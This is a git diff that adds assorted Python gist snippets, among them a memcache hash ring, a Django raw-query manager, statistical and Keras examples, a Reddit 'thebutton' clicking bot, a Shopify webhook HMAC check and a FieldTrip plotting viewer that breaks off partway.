+
+        pos = self.get_node_pos(string_key)
+        for key in self._sorted_keys[pos:]:
+            val = distinct_filter(self.ring[key])
+            if val:
+                yield val
+
+        for i, key in enumerate(self._sorted_keys):
+            if i < pos:
+                val = distinct_filter(self.ring[key])
+                if val:
+                    yield val
+
+    def gen_key(self, key):
+        """Given a string key it returns a long value,
+        this long value represents a place on the hash ring.
+
+        md5 is currently used because it mixes well.
+        """
+        b_key = self._hash_digest(key)
+        return self._hash_val(b_key, lambda x: x)
+
+    def _hash_val(self, b_key, entry_fn):
+        return (( b_key[entry_fn(3)] << 24)
+                |(b_key[entry_fn(2)] << 16)
+                |(b_key[entry_fn(1)] << 8)
+                | b_key[entry_fn(0)] )
+
+    def _hash_digest(self, key):
+        m = md5_constructor()
+        m.update(key)
+        return map(ord, m.digest())
+        
+        
+        
+####################
+# memcache_ring.py #
+####################
+
+import memcache
+import types
+
+from hash_ring import HashRing
+
+class MemcacheRing(memcache.Client):
+    """Extends python-memcache so it uses consistent hashing to
+    distribute the keys.
+    """
+
+    def __init__(self, servers, *k, **kw):
+        self.hash_ring = HashRing(servers)
+
+        memcache.Client.__init__(self, servers, *k, **kw)
+
+        self.server_mapping = {}
+        for server_uri, server_obj in zip(servers, self.servers):
+            self.server_mapping[server_uri] = server_obj
+
+    def _get_server(self, key):
+        if type(key) == types.TupleType:
+            return memcache.Client._get_server(key)
+
+        for i in range(self._SERVER_RETRIES):
+            iterator = self.hash_ring.iterate_nodes(key)
+            for server_uri in iterator:
+                server_obj = self.server_mapping[server_uri]
+                if server_obj.connect():
+                    return server_obj, key
+
+        return None, None
diff --git a/hard-gists/8477219/._snippet.py b/hard-gists/8477219/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8477219/._snippet.py differ
diff --git a/hard-gists/8477219/snippet.py b/hard-gists/8477219/snippet.py
new file mode 100644
index 00000000..4ecf5ae0
--- /dev/null
+++ b/hard-gists/8477219/snippet.py
@@ -0,0 +1,20 @@
+from django.db import connection, models
+ 
+class MyManager(Manager):
+    def raw_as_qs(self, raw_query, params=()):
+        """Execute a raw query and return a QuerySet.  The first column in the
+        result set must be the id field for the model.
+        :type raw_query: str | unicode
+        :type params: tuple[T] | dict[str | unicode, T]
+        :rtype: django.db.models.query.QuerySet
+        """
+        cursor = connection.cursor()
+        try:
+            cursor.execute(raw_query, params)
+            return self.filter(id__in=(x[0] for x in cursor))
+        finally:
+            cursor.close()
+ 
+ 
+class MyModel(models.Model):
+    objects = MyManager()
diff --git a/hard-gists/8481824/._snippet.py b/hard-gists/8481824/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8481824/._snippet.py differ
diff --git a/hard-gists/8481824/snippet.py b/hard-gists/8481824/snippet.py
new file mode 100644
index 00000000..c9704de9
--- /dev/null
+++ b/hard-gists/8481824/snippet.py
@@ -0,0 +1,29 @@
+import numpy as np
+import rpy2.robjects as ro
+import rpy2.robjects.numpy2ri as n2r
+n2r.activate()
+
+r = ro.r
+r.library('glmnet')
+
+# input files (for this example) need to have header and NO index column
+X = np.loadtxt('./x.csv', dtype=float, delimiter=',', skiprows=1)
+y = np.loadtxt('./y.csv', dtype=int, delimiter=',', skiprows=1)
+y = ro.FactorVector(list(y.transpose())) # use factors
+
+trained_model = r['cv.glmnet'](X, y, nfolds=3, family="binomial")
+lambda_ = np.asanyarray(trained_model.rx2('lambda'))
+cvm_ = np.asanyarray(trained_model.rx2('cvm'))
+cvsd_ = np.asanyarray(trained_model.rx2('cvsd'))
+
+lambda_min = np.asanyarray(trained_model.rx2('lambda.min'))[0]
+min_cvm = cvm_[np.argwhere(lambda_ == lambda_min)[0][0]]
+
+idx = np.argwhere(cvm_ < min_cvm + 0.1*cvsd_)
+idx[0]
+
+fit = trained_model.rx2('glmnet.fit')
+beta = n2r.ri2numpy(r['as.matrix'](fit.rx2('beta')))
+
+relvars = np.argwhere(beta[:,idx[0]].transpose()[0] > 1e-5)
+print relvars.transpose()[0]
diff --git a/hard-gists/848913/._snippet.py b/hard-gists/848913/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/848913/._snippet.py differ
diff --git a/hard-gists/848913/snippet.py b/hard-gists/848913/snippet.py
new file mode 100644
index 00000000..0c45dd00
--- /dev/null
+++ b/hard-gists/848913/snippet.py
@@ -0,0 +1,18 @@
+import os
+from PIL import Image
+
+
+def extractFrames(inGif, outFolder):
+    frame = Image.open(inGif)
+    nframes = 0
+    while frame:
+        frame.save( '%s/%s-%s.gif' % (outFolder, os.path.basename(inGif), nframes ) , 'GIF')
+        nframes += 1
+        try:
+            frame.seek( nframes )
+        except EOFError:
+            break;
+    return True
+    
+
+extractFrames('ban_ccccccccccc.gif', 'output')
diff --git a/hard-gists/8497c831c0a37ec4060b/._snippet.py b/hard-gists/8497c831c0a37ec4060b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8497c831c0a37ec4060b/._snippet.py differ
diff --git a/hard-gists/8497c831c0a37ec4060b/snippet.py b/hard-gists/8497c831c0a37ec4060b/snippet.py
new file mode 100644
index 00000000..f7554890
--- /dev/null
+++ b/hard-gists/8497c831c0a37ec4060b/snippet.py
@@ -0,0 +1,334 @@
+#!/usr/bin/env python
+#-----ButtonBot.py-----#
+#                      #
+# made by /u/J08nY     #
+# v2.3                 #
+#                      #
+#----------------------#
+
+from urllib import urlencode
+import httplib
+from websocket import create_connection
+import re
+from random import choice
+import time
+from calendar import timegm
+from json import loads
+import threading
+import signal
+import sys
+from platform import system
+import argparse
+
+USER_AGENTS = ["Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0",
+               "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0",
+               "Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/33.0",
+               "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36",
+               "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36",
+               "Opera/9.80 (Windows NT 6.1) Presto/2.12.388 Version/12.16",
+               "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"]
+
+class ButtonBot(threading.Thread):
+    """
+    ButtonBot capable of listening on the WebSocket for the button ticks and
+    click on a desired time.
+    This bot also has a logging capability.
+    
+    Command-line parameters:
+        -o outputEvery :output data collected every -o seconds
+        -c clickTime :click button when it reaches -c seconds
+        -u user :username to click the button with
+        -p passwd :password to login
+        -w wss :use this WebSocket address explicitly
+        -q :output data on script interruption
+    """
+    
+    WSS_PATTERN = re.compile('"wss://(.+?)"')
+    MODHASH_PATTERN = re.compile('modhash": "(.+?)"')
+    CFDUID_PATTERN = re.compile("__cfduid=(.+?);")
+    SESSION_PATTERN = re.compile("reddit_session=(.+?);")
+    
+    endColor = "\033[0m"
+    ranges = {(60,52):"\033[35m",#purple <60,52>
+              (51,42):"\033[34m",#blue   <51,42>
+              (41,32):"\033[32m",#green  <41,32>
+              (31,22):"\033[33m",#yellow <31,22>
+              (21,12):"\033[33m",#orange <21,12>
+              (11,1):"\033[31m"} #red    <11,1>
+    
+    LOGIN_HEADER = {"Host":"www.reddit.com",
+          "User-Agent":choice(USER_AGENTS),
+          "Accept":"application/json, text/javascript, */*; q=0.01",
+          "Accept-Language":"en-US,en;q=0.5",
+          "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
+          "X-Requested-With":"XMLHttpRequest",
+          "Referer":"http://www.reddit.com/r/thebutton/",
+          "Origin":"http://www.reddit.com",
+          "Connection":"keep-alive",
+          "Pragma":"no-cache",
+          "Cache-Control":"no-cache"}
+
+    SITELOAD_HEADER = {"Host":"www.reddit.com",
+          "User-Agent":choice(USER_AGENTS),
+          "Accept":"text/html, application/xhtml+xml, application/xml; q=0.9,*/*; q=0.8",
+          "Accept-Language":"en-US,en;q=0.5",
+          "Referer":"http://www.reddit.com/r/thebutton/",
+          "Origin":"http://www.reddit.com",
+          "Connection":"keep-alive",
+          "Pragma":"no-cache",
+          "Cache-Control":"no-cache"}
+
+    CLICK_HEADER = {"Accept":"application/json, text/javascript, */*; q=0.01",
+          "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8",
+          "Origin":"http://www.reddit.com",
+          "Referer":"http://www.reddit.com/r/thebutton",
+          "User-Agent":choice(USER_AGENTS),
+          "X-Requested-With":"XMLHttpRequest"}
+    
+    
+    def __init__(self, clickTime=None, user=None, passwd=None, outputEvery=None, wss=None, outputOnStop=None):
+        threading.Thread.__init__(self)
+
+        self.clickTime = clickTime
+        self.user = user
+        self.passwd = passwd
+        self.shouldClick = (self.clickTime != None) and (self.user != None) and (self.passwd != None)
+
+        self.wss = wss
+        self.outputEvery = outputEvery
+        self.outputOnStop = outputOnStop
+        
+        self.tickCount = 0
+        self.ticks = []
+        self.running = False
+        self.connected = False
+        self.logged = False
+        self.cookie = ""
+
+        self.shouldColor = system() == "Linux"
+
+    def run(self):
+        print "START"
+        self.running = True
+        
+        if self.shouldClick:
+            self._login()
+        if self.wss == None:
+            self._getWss()
+        
+        self._connect()
+        while self.running:
+            tick = self._getTick()
+            this = float(tick["payload"]["seconds_left"])
+
+            if self.shouldClick:
+                if this == self.clickTime:
+                    self._click(this,tick["payload"]["now_str"],tick["payload"]["tick_mac"])
+            
+            #tickTime = time.time()
+            #serverTime = timegm(time.strptime(tick["payload"]["now_str"],"%Y-%m-%d-%H-%M-%S"))
+            #delta = round(abs(tickTime-serverTime),3)
+
+            if self.tickCount > 0:
+                last = self.ticks[-1]
+                lastParticipants = int(last["payload"]["participants_text"].replace(",",""))
+                thisParticipants = int(tick["payload"]["participants_text"].replace(",",""))
+                if thisParticipants > lastParticipants:
+                    print " Click" # + str(delta)
+                else:
+                    print "" #str(delta)
+
+            if self.shouldColor:
+                for rang, color in self.ranges.items():
+                    if this <= rang[0] and this >= rang[1]:
+                        print color,
+                        break
+            
+            print str(this),
+            if self.shouldColor:
+                print self.endColor,
+
+            self.ticks.append(tick)
+            self.tickCount+=1
+            
+            if self.outputEvery != None and self.outputEvery != 0:
+                if self.tickCount % self.outputEvery == 0  and self.tickCount != 0:
+                    outputCount = self.tickCount/self.outputEvery
+                    if outputCount > 1:
+                        self.ticks = self.ticks[1:]
+                    self.output()
+                    self.ticks = self.ticks[-1:]
+            
+
+        self._disconnect()
+
+        if self.shouldClick:
+            self._logout()
+        print "STOP"
+            
+    def _login(self):
+        data = {"op":"login-main",
+                "user":self.user,
+                "passwd":self.passwd,
+                "api_type":"json"}
+        header = self.LOGIN_HEADER
+        header["Content-Length"]=str(len(urlencode(data)))
+        
+        connection = httplib.HTTPConnection("www.reddit.com",80)
+        connection.request("POST","/api/login/",urlencode(data),header)
+        response = connection.getresponse()
+        connection.close()
+        
+        if response.status != 200:
+            raise Exception
+        
+        cookie = response.getheader("set-cookie")
+        cfduid = self.CFDUID_PATTERN.search(cookie).group(1)
+        reddit_session = self.SESSION_PATTERN.search(cookie)
+        if type(reddit_session) == type(None):
+            print "ACCOUNT CREDENTIALS ERROR?"
+            self.shouldClick = False
+            return
+        else:
+            reddit_session = reddit_session.group(1)
+        self.cookie = "__cfduid=" + cfduid + "; reddit_session=" + reddit_session + ";"
+
+        header = self.SITELOAD_HEADER
+        header["Cookie"] = self.cookie
+
+        connection = httplib.HTTPConnection("www.reddit.com",80)
+        connection.request("GET","/r/thebutton",None,header)
+        response = connection.getresponse()
+        page = response.read()
+        connection.close()
+        
+        if response.status != 200:
+            raise Exception
+        
+        self.wss = self.WSS_PATTERN.search(page).group(1)
+        self.modhash = self.MODHASH_PATTERN.search(page).group(1)
+        if self.wss != None and self.modhash != None:
+            self.logged = True
+            print "LOGGED IN uh:" + self.modhash
+            print "GOT WSS(logged)"
+        else:
+            raise Exception
+        
+    def _getWss(self):
+        connection = httplib.HTTPConnection("www.reddit.com",80)
+        connection.request("GET","/r/thebutton",None,self.SITELOAD_HEADER)
+        response = connection.getresponse()
+        page = response.read()
+        connection.close()
+        
+        self.wss = self.WSS_PATTERN.search(page).group(1)
+        print "GOT WSS"
+        
+    def _connect(self):
+        self.sock = create_connection("wss://"+self.wss)
+        self.connected = True
+        print "WSS CONNECTED"
+
+    def _getTick(self):
+        result = self.sock.recv()
+        return loads(result)
+
+    def _click(self, seconds, now_str, tick_mac):
+        if not self.logged:
+            return
+        data = {"seconds":str(int(seconds)),
+                "prev_seconds":str(int(seconds)),
+                "tick_time":now_str,
+                "tick_mac":tick_mac,
+                "r":"thebutton",
+                "uh":self.modhash,
+                "renderstyle":"html"}
+        header = self.CLICK_HEADER
+        header["Content-Length"] = str(len(urlencode(data)))
+        header["Cookie"] = self.cookie
+        
+        connection = httplib.HTTPConnection("www.reddit.com",80)
+        connection.request("POST","/api/press_button",urlencode(data),header)
+        connection.close()
+        
+        print "CLICKED ->" + str(int(seconds))
+        
+    def _disconnect(self):
+        self.sock.close()
+        self.connected = False
+        print "WSS DISCONNECTED"
+
+    def _logout(self):
+        if not self.logged:
+            return
+        data = {"uh":self.modhash,
+                "top":"off",
+                "dest":"/r/thebutton"}
+        header = self.SITELOAD_HEADER
+        header["Content-Type"] = "application/x-www-form-urlencoded; charset=UTF-8"
+        header["Content-Length"] = str(len(urlencode(data)))
+        header["Cookie"] = self.cookie
+
+        connection = httplib.HTTPConnection("www.reddit.com",80)
+        connection.request("POST","/logout",urlencode(data),header)
+        response = connection.getresponse()
+        connection.close()
+        
+        if response.status != 302:
+            print "DID NOT LOGOUT"
+        else:
+            self.logged = False
+            print "LOGGED OUT"
+
+    def stop(self):
+        self.running = False
+
+    def output(self):
+        outTimeStart = time.time()
+        
+        startTime = time.strptime(self.ticks[0]["payload"]["now_str"],"%Y-%m-%d-%H-%M-%S")
+        endTime = time.strptime(self.ticks[-1]["payload"]["now_str"],"%Y-%m-%d-%H-%M-%S")
+
+        filename = "from" + time.strftime("%d_%m_%H-%M-%S",startTime) + "to" + time.strftime("%d_%m_%H-%M-%S",endTime)
+
+        out = open(filename, "w")
+        for data in self.ticks:
+            tick = float(data["payload"]["seconds_left"])
+            participants  = int(data["payload"]["participants_text"].replace(",",""))
+            timeString = data["payload"]["now_str"]
+            out.write(timeString + " " + str(participants) + " " + str(tick) + "\n")
+        out.close()
+        
+        outTimeStop = time.time()
+        print "OUTPUT " + filename + " output took " + str(outTimeStop - outTimeStart) + " seconds"
+
+    def sigint(self, signal, frame):
+        print "SIGINT"
+        self.stop()
+        if self.outputOnStop:
+            self.output()
+        sys.exit(0)
+
+if __name__  == "__main__":
+    parser = argparse.ArgumentParser(description="ButtonBot.py v2.0 made by /u/J08nY")
+    parser.add_argument("-o",type=int,dest="outputEvery",
+                        help="output data collected every -o seconds")
+    parser.add_argument("-c",type=int,dest="clickTime",
+                        help="click button when it reaches -c seconds")
+    parser.add_argument("-u",dest="user",
+                        help="username to click the button with")
+    parser.add_argument("-p",dest="passwd",
+                        help="password to login")
+    parser.add_argument("-w",dest="wss",
+                        help="use this WebSocket address")
+    parser.add_argument("-q",action="store_true",dest="outputOnStop",
+                        help="output data on script interruption")
+    args = parser.parse_args()
+    bot = ButtonBot(clickTime=args.clickTime,user=args.user,passwd=args.passwd,outputEvery=args.outputEvery,wss=args.wss,outputOnStop=args.outputOnStop)
+    bot.start()
+    signal.signal(signal.SIGINT, bot.sigint)
+    if system() == "Linux":
+        signal.pause()
+    else:
+        while True:
+            time.sleep(1)
diff --git a/hard-gists/850437/._snippet.py b/hard-gists/850437/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/850437/._snippet.py differ
diff --git a/hard-gists/850437/snippet.py b/hard-gists/850437/snippet.py
new file mode 100644
index 00000000..ce6ad9ea
--- /dev/null
+++ b/hard-gists/850437/snippet.py
@@ -0,0 +1,77 @@
+"""
+This module implements the Lowess function for nonparametric regression.
+
+Functions:
+lowess Fit a smooth nonparametric regression curve to a scatterplot.
+
+For more information, see
+
+William S. Cleveland: "Robust locally weighted regression and smoothing
+scatterplots", Journal of the American Statistical Association, December 1979,
+volume 74, number 368, pp. 829-836.
+
+William S. Cleveland and Susan J. Devlin: "Locally weighted regression: An
+approach to regression analysis by local fitting", Journal of the American
+Statistical Association, September 1988, volume 83, number 403, pp. 596-610.
+"""
+
+# Authors: Alexandre Gramfort <alexandre.gramfort@telecom-paristech.fr>
+#
+# License: BSD (3-clause)
+
+from math import ceil
+import numpy as np
+from scipy import linalg
+
+
+def lowess(x, y, f=2. / 3., iter=3):
+    """lowess(x, y, f=2./3., iter=3) -> yest
+
+    Lowess smoother: Robust locally weighted regression.
+    The lowess function fits a nonparametric regression curve to a scatterplot.
+    The arrays x and y contain an equal number of elements; each pair
+    (x[i], y[i]) defines a data point in the scatterplot. The function returns
+    the estimated (smooth) values of y.
+
+    The smoothing span is given by f. A larger value for f will result in a
+    smoother curve. The number of robustifying iterations is given by iter. The
+    function will run faster with a smaller number of iterations.
+    """
+    n = len(x)
+    r = int(ceil(f * n))
+    h = [np.sort(np.abs(x - x[i]))[r] for i in range(n)]
+    w = np.clip(np.abs((x[:, None] - x[None, :]) / h), 0.0, 1.0)
+    w = (1 - w ** 3) ** 3
+    yest = np.zeros(n)
+    delta = np.ones(n)
+    for iteration in range(iter):
+        for i in range(n):
+            weights = delta * w[:, i]
+            b = np.array([np.sum(weights * y), np.sum(weights * y * x)])
+            A = np.array([[np.sum(weights), np.sum(weights * x)],
+                          [np.sum(weights * x), np.sum(weights * x * x)]])
+            beta = linalg.solve(A, b)
+            yest[i] = beta[0] + beta[1] * x[i]
+
+        residuals = y - yest
+        s = np.median(np.abs(residuals))
+        delta = np.clip(residuals / (6.0 * s), -1, 1)
+        delta = (1 - delta ** 2) ** 2
+
+    return yest
+
+if __name__ == '__main__':
+    import math
+    n = 100
+    x = np.linspace(0, 2 * math.pi, n)
+    y = np.sin(x) + 0.3 * np.random.randn(n)
+
+    f = 0.25
+    yest = lowess(x, y, f=f, iter=3)
+
+    import pylab as pl
+    pl.clf()
+    pl.plot(x, y, label='y noisy')
+    pl.plot(x, yest, label='y pred')
+    pl.legend()
+    pl.show()
diff --git a/hard-gists/85098ded28a6e472fa7d4c5b0afd5d3e/._snippet.py b/hard-gists/85098ded28a6e472fa7d4c5b0afd5d3e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/85098ded28a6e472fa7d4c5b0afd5d3e/._snippet.py differ
diff --git a/hard-gists/85098ded28a6e472fa7d4c5b0afd5d3e/snippet.py b/hard-gists/85098ded28a6e472fa7d4c5b0afd5d3e/snippet.py
new file mode 100644
index 00000000..c4bd4ce2
--- /dev/null
+++ b/hard-gists/85098ded28a6e472fa7d4c5b0afd5d3e/snippet.py
@@ -0,0 +1,162 @@
+from __future__ import print_function
+
+from keras import backend as K
+from keras.engine import Input, Model, InputSpec
+from keras.layers import Dense, Activation, Dropout, Lambda
+from keras.layers import Embedding, LSTM
+from keras.optimizers import Adam
+from keras.preprocessing import sequence
+from keras.utils.data_utils import get_file
+from keras.datasets import imdb
+
+import numpy as np
+import random
+import sys
+import pdb
+
+MAX_FEATURES = 20000
+MAXLEN = 40
+BATCH_SIZE = 32
+STEP = 3
+EMBEDDING_DIM = 32
+RNN_HIDDEN_DIM = 32
+
+# TODO: add normalization
+# TODO: activation cluster?
+# TODO: get forget gates from LSTMs (not sure how to grab temporary tensors inside loops)
+
+
+def build_vocab():
+    vocab = imdb.get_word_index()
+    rev_vocab = {v: k for k, v in vocab.iteritems()}
+    return vocab, rev_vocab
+
+
+def vectorize(text, vocab, 
+              maxlen=MAXLEN, start_char=1, oov_char=2, index_from=3):
+    """ might not be consistent with vectorize_data. """
+    if isinstance(text, basestring):
+        text = [text]
+    v = [[vocab.get(w, oov_char) for w in t.lower().split()] for t in text]
+    return sequence.pad_sequences(v, maxlen=maxlen)
+
+
+def vectorize_data(max_features=MAX_FEATURES, maxlen=MAXLEN, batch_size=BATCH_SIZE, limit=None):
+
+    print('Loading data...')
+    (X_train, y_train), (X_test, y_test) = imdb.load_data(nb_words=max_features)
+    print(len(X_train), 'train sequences')
+    print(len(X_test), 'test sequences')
+
+    print('Pad sequences (samples x time)')
+    X_train = sequence.pad_sequences(X_train, maxlen=maxlen)
+    X_test = sequence.pad_sequences(X_test, maxlen=maxlen)
+    print('X_train shape:', X_train.shape)
+    print('X_test shape:', X_test.shape)
+
+    if limit is None:
+        return X_train, y_train, X_test, y_test
+    else:
+        return X_train[:limit], y_train[:limit], X_test[:limit], y_test[:limit]
+
+
+def build_model(vocab_size, maxlen=MAXLEN, rnn_hidden_dim=RNN_HIDDEN_DIM):
+    input_layer = Input(shape=(maxlen, ), name='input_layer', dtype='int32')
+    embedding_layer = Embedding(vocab_size, EMBEDDING_DIM, input_length=maxlen, trainable=True, mask_zero=False, name='embedding_layer')(input_layer)  # -- ideally mask_zero=False but can't work with lambda layers
+    recurrent_layer = LSTM(output_dim=rnn_hidden_dim, activation='tanh', return_sequences=True, name='recurrent_layer')(embedding_layer)
+    last_step_layer = Lambda(lambda x: x[:, -1, :], output_shape=(rnn_hidden_dim, ), name='last_step_layer')(recurrent_layer)  # only needed for visualization
+    output_layer = Dense(1, activation='sigmoid', name='output_layer')(last_step_layer)
+
+    optimizer = Adam(lr=0.001)
+    model = Model(input=input_layer, output=output_layer)
+    print('Compiling...')
+    model.compile(loss='binary_crossentropy', optimizer=optimizer)
+
+    model.summary()
+    return model
+
+
+def visualize_model(model, include_gradients=False):
+    recurrent_layer = model.get_layer('recurrent_layer')
+    output_layer = model.get_layer('output_layer')
+
+    inputs = []
+    inputs.extend(model.inputs)
+
+    outputs = []
+    outputs.extend(model.outputs)
+    outputs.append(recurrent_layer.output)
+    outputs.append(recurrent_layer.W_f)  # -- weights of the forget gates (assuming LSTM)
+
+    if include_gradients:
+        loss = K.mean(model.output)  # [batch_size, 1] -> scalar
+        grads = K.gradients(loss, recurrent_layer.output)
+        grads_norm = grads / (K.sqrt(K.mean(K.square(grads))) + 1e-5)
+        outputs.append(grads_norm)
+
+    all_function = K.function(inputs, outputs)
+    output_function = K.function([output_layer.input], model.outputs)
+    return all_function, output_function
+
+
+def get_compare_embeddings(original_embeddings, tuned_embeddings, vocab, dimreduce_type="pca", random_state=0):
+    """ Compare embeddings drift. """
+    if dimreduce_type == "pca":
+        from sklearn.decomposition import PCA
+        dimreducer = PCA(n_components=2, random_state=random_state)
+    elif dimreduce_type == "tsne":
+        from sklearn.manifold import TSNE
+        dimreducer = TSNE(n_components=2, random_state=random_state)
+    else:
+        raise Exception("Wrong dimreduce_type.")
+
+    reduced_original = dimreducer.fit_transform(original_embeddings)
+    reduced_tuned = dimreducer.fit_transform(tuned_embeddings)
+
+    def compare_embeddings(word):
+        if word not in vocab:
+            return None
+        word_id = vocab[word]
+        original_x, original_y = reduced_original[word_id, :]
+        tuned_x, tuned_y = reduced_tuned[word_id, :]
+        return original_x, original_y, tuned_x, tuned_y
+
+    return compare_embeddings
+
+
+if __name__ == '__main__':
+    # -- train
+    vocab, rev_vocab = build_vocab()
+    X_train, y_train, X_test, y_test = vectorize_data(limit=1000)
+    model = build_model(len(vocab))
+    model.fit(X_train, y_train, batch_size=BATCH_SIZE, nb_epoch=1, verbose=True, # validation_split=0.05)
+              validation_data=(X_test, y_test))
+
+    acc = model.evaluate(X_test, y_test, batch_size=BATCH_SIZE)
+    print('Test accuracy:', acc)
+
+    # -- predict
+    all_function, output_function = visualize_model(model, include_gradients=True)
+
+    t = "HOW COULD anything originate out of its opposite?".lower()
+    X = vectorize(t, vocab)
+    
+    # -- Return scores, raw rnn values and gradients
+    # scores is equivalent to model.predict(X)
+    scores, rnn_values, rnn_gradients, W_i = all_function([X])
+    print(scores.shape, rnn_values.shape, rnn_gradients.shape, W_i.shape)
+
+    # -- score prediction
+    print("Scores:", scores)
+
+    # -- Return scores at each step in the time sequence
+    time_distributed_scores = map(lambda x: output_function([x]), rnn_values)
+    print("Time distributed (word-level) scores:", map(lambda x: x[0], time_distributed_scores))
+
+    pdb.set_trace()
+
+    # -- if you have original embeddings, use here
+    embeddings = model.get_weights()[0]
+    compare_embeddings = get_compare_embeddings(embeddings, embeddings, vocab, dimreduce_type="pca", random_state=0)
+    print("Embeddings drift:", compare_embeddings('d'))
+
diff --git a/hard-gists/850ab7372d51005fdfd7/._snippet.py b/hard-gists/850ab7372d51005fdfd7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/850ab7372d51005fdfd7/._snippet.py differ
diff --git a/hard-gists/850ab7372d51005fdfd7/snippet.py b/hard-gists/850ab7372d51005fdfd7/snippet.py
new file mode 100644
index 00000000..dddd7800
--- /dev/null
+++ b/hard-gists/850ab7372d51005fdfd7/snippet.py
@@ -0,0 +1,57 @@
+# python pca_multiband.py input.jpeg output.tif
+# n-band image -> PCA -> n-band TIFF image
+# with lots of hackety assumptions
+# (e.g., output is same type as input)
+
+from sys import argv
+import rasterio as rio
+import numpy as np
+from sklearn import decomposition
+
+with rio.open(argv[1]) as src:
+  meta = src.meta
+  pixels = src.read()
+  
+dtype = meta['dtype']
+count = meta['count']
+  
+# Todo: make this cleaner:
+pixels = np.dstack([c.ravel() for c in pixels])[0]
+
+pca = decomposition.PCA(n_components=count, whiten=False)
+pca.fit(pixels)
+
+for band in range(len(pca.components_)):
+  print(
+    'Band {0} will hold {1:.4g} of variance with weights:\n{2}'.format(
+      band+1,
+      pca.explained_variance_ratio_[band],
+      ', '.join("{0:.4g}".format(x) for x in pca.components_[band])))
+      # .format() within .format()! Wow! Very pro move, very well
+      # respected technique, 9.7 even from the East German judges!
+
+# Here's the actual work:
+out = pca.transform(pixels)
+
+# This is the messy reverse of the messy ravel above:
+xyz = np.array([
+  out[:,c].reshape(meta['height'], meta['width'])
+  for c in range(count)
+])
+
+# Scale each band separately to fill out the data type.
+# (You either really want this or really don't want this.)
+xyz = np.array([
+  ((c - np.amin(c))/(np.amax(c) - np.amin(c)))*np.iinfo(dtype).max
+  for c in xyz
+])
+
+xyz = xyz.astype(dtype)
+
+meta.update({
+  'transform': meta['affine'],
+  'driver': 'GTiff'
+})
+
+with rio.open(argv[2], 'w', **meta) as dst:
+  dst.write(xyz)
\ No newline at end of file
diff --git a/hard-gists/8513270/._snippet.py b/hard-gists/8513270/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8513270/._snippet.py differ
diff --git a/hard-gists/8513270/snippet.py b/hard-gists/8513270/snippet.py
new file mode 100644
index 00000000..f8d60d99
--- /dev/null
+++ b/hard-gists/8513270/snippet.py
@@ -0,0 +1,32 @@
+import hashlib, base64, hmac, json, settings
+
+def shopify_webhook(f):
+  """
+  A decorator thats checks and validates a Shopify Webhook request.
+  """
+
+  def _hmac_is_valid(body, secret, hmac_to_verify):
+    hash            = hmac.new(body, secret, hashlib.sha256)
+    hmac_calculated = base64.b64encode(hash.digest())
+    return hmac_calculated == hmac_to_verify
+
+  @wraps(f)
+  def wrapper(request, *args, **kwargs):
+    # Try to get required headers and decode the body of the request.
+    try:
+      webhook_topic = request.META['HTTP_X_SHOPIFY_TOPIC']
+      webhook_hmac  = request.META['HTTP_X_SHOPIFY_HMAC_SHA256']
+      webhook_data  = json.loads(request.body)
+    except:
+      return HttpResponseBadRequest()
+
+    # Verify the HMAC.
+    if not _hmac_is_valid(request.body, settings.SHOPIFY_API_SECRET, webhook_hmac):
+      return HttpResponseForbidden()
+
+    # Otherwise, set properties on the request object and return.
+    request.webhook_topic = webhook_topic
+    request.webhook_data  = webhook_data
+    return f(request, args, kwargs)
+
+  return wrapper
\ No newline at end of file
diff --git a/hard-gists/8543933/._snippet.py b/hard-gists/8543933/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/8543933/._snippet.py differ
diff --git a/hard-gists/8543933/snippet.py b/hard-gists/8543933/snippet.py
new file mode 100644
index 00000000..e71543c5
--- /dev/null
+++ b/hard-gists/8543933/snippet.py
@@ -0,0 +1,158 @@
+# Author : Alex Gramfort
+# license BSD (copied for Chaco example data_stream.py)
+
+# to use it:
+# Start ./sine2ft in the background (available in fieldtrip repo)
+# Start the buffer
+# Then run this script in a python terminal
+
+# Major library imports
+import sys
+import numpy as np
+
+# Enthought imports
+from traits.api import (Array, Callable, Enum, HasTraits, Instance, Int, Trait)
+from traitsui.api import Group, HGroup, Item, View, spring, Handler
+from pyface.timer.api import Timer
+
+# Chaco imports
+from chaco.chaco_plot_editor import ChacoPlotItem
+
+import FieldTrip
+
+ftc = FieldTrip.Client()
+ftc.connect('localhost', 1972)    # might throw IOError
+# ftc.connect('130.229.13.241', 1972)    # might throw IOError
+# ftc.connect('130.229.9.194', 1972)    # might throw IOError
+
+
+def get_data():
+    H = ftc.getHeader()
+    block_size = 500
+    if H is None:
+        print 'Failed to retrieve header!'
+        sys.exit(1)
+
+    start, stop = H.nSamples - block_size, H.nSamples - 1
+    print H.nSamples
+    D = ftc.getData([start, stop])
+    return D[:, 0]
+
+
+class Viewer(HasTraits):
+    """ This class just contains the two data arrays that will be updated
+    by the Controller.  The visualization/editor for this class is a
+    Chaco plot.
+    """
+    index = Array
+    data = Array
+
+    plot_type = Enum("line", "scatter")
+
+    view = View(ChacoPlotItem("index", "data",
+                              type_trait="plot_type",
+                              resizable=True,
+                              x_label="Time",
+                              y_label="Signal",
+                              color="blue",
+                              bgcolor="white",
+                              border_visible=True,
